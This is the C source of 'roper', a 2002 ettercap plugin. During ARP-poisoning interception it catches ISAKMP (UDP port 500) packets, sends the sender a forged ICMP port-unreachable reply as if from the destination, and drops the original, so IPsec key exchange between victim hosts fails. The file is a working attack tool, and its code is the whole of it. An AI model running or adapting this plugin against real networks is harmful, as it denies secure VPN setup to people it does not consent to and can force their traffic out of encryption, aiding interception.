/*
    roper -- ettercap plugin -- Tries to stop ISAKMP for ipsec traffic

    Copyright (C) 2002  ALoR <alor@users.sourceforge.net>, NaGA <crwm@freemail.it>
    
    This program is free software; you can redistribute it and/or modify
    it under the terms of the GNU General Public License as published by
    the Free Software Foundation; either version 2 of the License, or
    (at your option) any later version.

    This program is distributed in the hope that it will be useful,
    but WITHOUT ANY WARRANTY; without even the implied warranty of
    MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
    GNU General Public License for more details.

    You should have received a copy of the GNU General Public License
    along with this program; if not, write to the Free Software
    Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA.

*/

#include "../../src/include/ec_main.h"
#include "../../src/include/ec_version.h"
#include "../../src/include/ec_plugins.h"
#include "../../src/include/ec_inet_structures.h"
#include "../../src/include/ec_inet.h"
#include "../../src/include/ec_inet_forge.h"
#include "../../src/include/ec_error.h"

int sock, MTU;
char MyMAC[6];
char *buf;

// protos...

int Plugin_Init(void *);
int Plugin_Fini(void *);
int Parse_Packet(void *buffer);

// plugin operation

struct plugin_ops roper_ops = {
   ettercap_version: VERSION,
   plug_info:        "Tries to stop ISAKMP for ipsec traffic",
   plug_version:     13,
   plug_type:        PT_HOOK,
   hook_point:       PCK_RECEIVED_RAW,
   hook_function:    &Parse_Packet,
};

//==================================

int Plugin_Init(void *params)
{
   sock = Inet_OpenRawSock(Options.netiface);
   Inet_GetIfaceInfo(Options.netiface, &MTU, MyMAC, NULL, NULL);
   buf = Inet_Forge_packet(MTU);
   return Plugin_Register(params, &roper_ops);
}

int Plugin_Fini(void *params)
{
   Inet_Forge_packet_destroy( buf );
   Inet_CloseRawSock(sock);
   return 0;
}

// =================================

int Parse_Packet(void *buffer)
{

   ETH_header *eth;
   IP_header  *ip;
   UDP_header *udp;
   RAW_PACKET *pck_raw;
   static int flag=0;

   pck_raw = (RAW_PACKET *)buffer;
   eth = (ETH_header *) pck_raw->buffer;

   if (!Options.arpsniff && !flag)
   {
      Plugin_Hook_Output("You have to use arpsniff to summon roper...\n");
      flag=1;
   }

   if (eth->type == htons(ETH_P_IP) && Options.arpsniff)
   {
      ip = (IP_header *)(eth+1);
      if ( ip->proto == IPPROTO_UDP )
      {
         udp = (UDP_header *) ((int)ip + ip->h_len * 4);

         if (udp->dest==htons(500))
         {
            struct in_addr addr_source;
            struct in_addr addr_dest;

            addr_dest.s_addr = ip->dest_ip;
            addr_source.s_addr = ip->source_ip;

            Plugin_Hook_Output("ISAKMP exchange attempt between %s and ", inet_ntoa(addr_source));
            Plugin_Hook_Output("%s (stopped)\n", inet_ntoa(addr_dest));

            Inet_Forge_ethernet(buf, MyMAC, eth->source_mac, ETH_P_IP);
            Inet_Forge_ip(buf + ETH_HEADER, ip->dest_ip, ip->source_ip, IP_HEADER+ICMP_HEADER+(ip->h_len*4)+8, 0xe77e, 0, IPPROTO_ICMP);
            Inet_Forge_icmp(buf + ETH_HEADER + IP_HEADER, 3, 3, (char *)ip, (ip->h_len*4)+8);
            Inet_SendRawPacket(sock, buf, ETH_HEADER+IP_HEADER+ICMP_HEADER+(ip->h_len*4)+8);
            *(pck_raw->len)=0;
         }
      }
   }
   return 0;
}


/* EOF */

// vim:ts=3:expandtab
